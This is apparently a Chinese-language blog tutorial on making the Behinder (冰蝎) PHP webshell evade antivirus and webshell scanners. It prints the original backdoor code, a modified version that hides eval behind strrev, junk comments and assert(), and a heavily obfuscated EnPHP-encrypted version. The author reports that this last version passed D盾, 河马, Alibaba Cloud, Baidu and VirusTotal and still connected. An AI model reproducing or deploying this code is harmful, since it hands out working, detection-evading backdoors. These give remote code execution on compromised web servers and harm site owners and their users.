干貨 | 冰蝎webshell免殺(技巧)
因前段時間退出了內網的學習,現在開始復習web方面的漏洞了,于是乎,開始了挖洞之旅,當我像往常一樣上傳冰蝎的webhsell時,發現冰蝎的馬子居然被殺了.......于是便有了該文章.....
先說一下目前的免殺情況:
D盾,河馬等都零警報,
vt全綠,
阿里云webshell查殺安全,
百度webshell查殺安全,
其他等等....
目前僅測試了這些....其他的自行測試。
文章開始:
首先看一下冰蝎的原版馬子:
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
看一下原版的查殺率:

再看一下百度的接口:

阿里:

河馬,D盾:

基本上都被殺軟標記了....
那么我們想用冰蝎的話,就必須要免殺了
先說一下免殺的思路:
對于靜態免殺,主要便是混淆代碼了,base64,hex,異或等等....
反正思路要擴展起來,可能很多師傅是玩ctf的,我沒玩過.....像里面的凱撒密碼....等等各種密碼學的東西其實可以搬到免殺的思路上來,但是像base64等等....可能早就被殺軟計入特征庫了,所以用base64等簡單的加密,對webshell免殺可能不太好使了,
那有沒有簡單些的方式達到靜態免殺呢?
答案是肯定的....
比如php的字符串逆置函數strrev(),可以將代碼顛倒順序,再在webshell里面加入注釋,變量名稱改改....使用一些php的魔術函數....以達到繞過殺軟的靜態防護。
我們將webshell放到d盾查殺....
看看到底是哪部分代碼導致被查殺....[做個免殺的師傅應該都知道特征碼定位技術,定位特征碼,修改特征碼繞過殺軟]。
這里各位師傅自己嘗試吧,建議二分法嘗試,或則根據自己的經驗判斷。
我這里對下面部分代碼進行逆值顛倒:
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
session_start();
$ok="1989870a9753c7b3";//cwk
$_SESSION['k']=$ok;
$zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
$love=15;
if(!extension_loaded(strrev('lssnepo')))
{
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$t=strrev("edoced_46esab");
$zyq=$t($zyq."");
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
for($i=0;$i<strlen($zyq);$i++) {
$o= $ok[$i+1&$love]^$zyq[$i];
$zyq[$i] =$o;
}
}
else
{
$zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);
}
$arr=explode('|',$zyq);
$func=$arr[0];
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$suansuan=$arr[1];
class MOL{
public function __construct($p)
{
$a=null;
$l=null;
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");
}
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
}
@new MOL($suansuan);
?>
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
這里就是簡單的改了一下變量名稱,增加了一些注釋,還有魔術函數....
可以看一下D盾,河馬過了

至于百度那個還有阿里云.....:


果然它們還是很強....
怎么辦呢?
到這一步,對于我這種小白而言,已經窮途末路了.....
但是我們還可以借助外部力量....
之前代碼審計的時候,發現很多代碼都進行的加密...但是程序依舊可以運行,所以我們可不可以對我們的webshell進行加密呢?
當然肯定的....隨便在網上找找免費的加密網站...
https://enphp.djunny.com/
把能勾的全都勾了...

進行加密處理:
加密之后的webshell:
/*
ddsds
-- EnPHP v2: http://enphp.djunny.com/
*/goto 愉幘;悈崠:$禈=0x0f;goto 佽乒;廷跡:class MOL{public function __construct($蚱岊){goto 櫚蚨;櫚蚨:$咜孟=null;goto 堥崍;悉ψ:溹喚(0x00000216a,0x02143)(溹喚(0x000219a,0x0021a8,0x0000218c,$蠇柱).$挃啚.$蚱岊.$咜孟.((parse_str("",$毇蒿)||$毇蒿)?base64_decode(key($毇蒿)):"").溹喚(0x000219a,0x0021a8,0x0000218c,$蠇柱));goto 稗;堥崍:$挃啚=null;goto 悉ψ;稗:}}goto 沫瞅;桷:if(!($仌弲<旞馨(0x000164b,0x01658,0x00161d)($夝麈)))goto 忟;goto €?洭矽:$嬴旔=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x015ef,0x00015fb,0x000015c5));goto ;非嗁:goto ;goto 堧駫;湛莖:session_start();goto 壼;沫瞅:@new MOL($鉃珛);goto 敝偖;壼:$璧瑏=騼霾(0x0001e70,0x00001e5d,$璧瑏);goto 啚庁;堧駫:僚曛:goto 洭矽;堝:function 溹喚(){goto 毢欫;毢欫:$昶橏=0x000002084;goto 楹惄;溺騮:櫡:goto 攄麜;陮粠:縼:goto 喬;菃変:return base64_decode('LyojYHxXJH5RKi8');goto 祲;喬:if(!($鐙罷[0]==$昶橏+0x00a6))goto 鞃ㄝ;goto 贂慆;撁貪:鞃ㄝ:goto 苺鄞;楹惄:$鐙罷=func_get_args();goto 玟葓;夠珱:return base64_decode(join("",array('Q','U','V','T','M','T','I','4')));goto 陮粠;贂慆:return base64_decode('fA');goto 撁貪;祲:濮:goto 摩弧;樅蓴:return((parse_str("礱鋻=YXNzZXJ0",$鑸塥)||$鑸塥)?base64_decode($鑸塥['礱鋻']):"");goto 溺騮;玟葓:if(!($鐙罷[0x0002]==$昶橏+0x0000018))goto 縼;goto 夠珱;苺鄞:if(!($鐙罷[0x001]==$昶橏+0x00bf))goto 櫡;goto 樅蓴;攄麜:if(!($鐙罷[0x0002]==$昶橏+0x00000108))goto 濮;goto 菃変;摩弧:}goto 掑何;⒒麕:忟:goto 詪晃;詪晃::goto 枽掜;愉幘:error_reporting(0);goto 堝;動恰:goto 兌蛥;goto ⒒麕;€?$栦煻=$璧瑏[$仌弲+0x001&$禈]^$夝麈[$仌弲];goto 筮楱;席:$夝麈=strrev(旞馨(0x001695,0x000166e))($夝麈,溹喚(0x00020cd,0x020fd,0x0000209c),$璧瑏);goto 非嗁;鸂瓍:$夝麈=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(騼霾(0x00001f66,0x0001f3d))(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x00001516)));goto 悈崠;佽乒:if(!旞馨(0x001550,0x000001521)(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x000158d,0x000015bb,0x00155f))))goto 僚曛;goto 席;椬窟:$仌弲++;goto 動恰;:$夝麈=$嬴旔($夝麈.gzinflate(' '));goto 笣;筮楱:$夝麈[$仌弲]=$栦煻;goto 檽偷;囫鴟:$阱蜎=$亽邼[0];goto 筷圓;筷圓:$鉃珛=$亽邼[0x001];goto 廷跡;檽偷:柇儶:goto 椬窟;掑何:function 旞馨(){goto 槥;堂稅:勞尤:goto 蒎埊;吒偳:險礙:goto 粳鰷;蒎埊:if(!(func_get_arg(0x001)==$伖8+0x00039))goto 險礙;goto 疅;蓯陡:return(($族愳=gzinflate(substr(base64_decode('H4sIAAAAAAAAA0tNyU9OTYk3MUstTkwCAPbVV20NAAAA'),10,-8)))?$族愳:$丹椵);goto 覡Ⅹ;猷囔:return gzinflate('+)-人宰?? ');goto 堂稅;檸煿:if(!($螵孳[0x001]==$伖8+0x0186))goto 洞;goto 耽;燥鐣:if(!($螵孳[0x0002]==$伖8+0x00dd))goto 竿渦;goto 蓯陡;虧彊:if(!($螵孳[0]==$伖8+0x002e))goto 勞尤;goto 猷囔;耽:return base64_decode('dHB5cmNlZF9sc3NuZXBv');goto 枟;疅:return base64_decode(join("",array('Z','X','h','0','Z','W','5','z','a','W','9','u','X','2','x','v','Y','W','R','l','Z','A')));goto 吒偳;亡銣:if(!($螵孳[0x0002]==$伖8+0x00000135))goto 浰琬;goto 華櫬;柮鍵:浰琬:goto 檸煿;華櫬:return base64_decode('c3RybGVu');goto 柮鍵;陥:$螵孳=func_get_args();goto 虧彊;枟:洞:goto 飹;覡Ⅹ:竿渦:goto 亡銣;槥:$伖8=0x00014e8;goto 陥;掟椴:純臃:goto 燥鐣;兎烑:return gzinflate('?.蜬-? ');goto 掟椴;粳鰷:if(!($螵孳[0x0002]==$伖8+0x0000077))goto 純臃;goto 兎烑;飹:}goto 鴇呦;啚庁:$_SESSION[騼霾(0x01ea5,0x000001e7c)]=$璧瑏;goto 鸂瓍;笣:$仌弲=0;goto 鶚寛;鶚寛:兌蛥:goto 桷;枽掜:$亽邼=explode(溹喚(0x0212a),$夝麈);goto 囫鴟;鴇呦:function 騼霾(){goto 閿;裏宴:return((parse_str("aw",$艷焯)||$艷焯)?base64_decode(key($艷焯)):"");goto 贁偫;溉:朝惉:goto 嬄虔;閿:$緊耖=0x01e50;goto 姥钷;硫:骯稈:goto 秱隇;劑矄:if(!($置鉗[0x0002]==$緊耖+0x0007f))goto 骯稈;goto 炶澔;汅佞:return base64_decode(join("",array('M','T','k','4','O','T','g','3','M','G','E','5','N','z','U','z','Y','z','d','i','M','w')));goto 溉;帳肖:return base64_decode(join("",array('c','3','R','u','Z','X','R','u','b','2','N','f','d','G','V','n','X','2','V','s','a','W','Y')));goto 鉑傈;秱隇:if(!($置鉗[0x001]==$緊耖+0x000ed))goto 鎰;goto 帳肖;贁偫:瑧櫡:goto 劑矄;渭饸:if(!($置鉗[0x001]==$緊耖+0x0000d))goto 朝惉;goto 汅佞;鉑傈:鎰:goto 玳剷;嬄虔:if(!($置鉗[0x001]==$緊耖+0x000002c))goto 瑧櫡;goto 裏宴;姥钷:$置鉗=func_get_args();goto 渭饸;炶澔:return gzinflate('+.)*J- ');goto 硫;玳剷:}goto 湛莖;敝偖:echo((parse_str("LyoNCuaIkeWVpeS5n%2BS4jeefpemBky4uLi4uDQpzamZhc2FhZHNzYWRhDQpkYWRhZGFkDQoqLw0K",$啠)||$啠)?base64_decode(key($啠)):"");
反正我是看不懂了....就看殺軟看不看的懂了....
d盾河馬。。。

百度查殺接口...

阿里:

vt:

https://n.shellpub.com/:

都過了....
嘗試連接:



嗯...很好
總結:
對于免殺這方面有很多技巧.....有時候也有玄學加成....哈哈哈,很奇怪,有時間各位師傅可以多看看殺軟的工作原理再做免殺.....
本來前段時間想寫shellcode的免殺什么的,但是太懶了
怎么說呢.....免殺學的是技巧....一般發出來的免殺都活不了多久,所以說還是需要自己多學習一些技巧的......
對了,上面那個加密網站好像每次加密的效果不一樣,如果加密之后d盾警告的話,可以增刪改注釋.....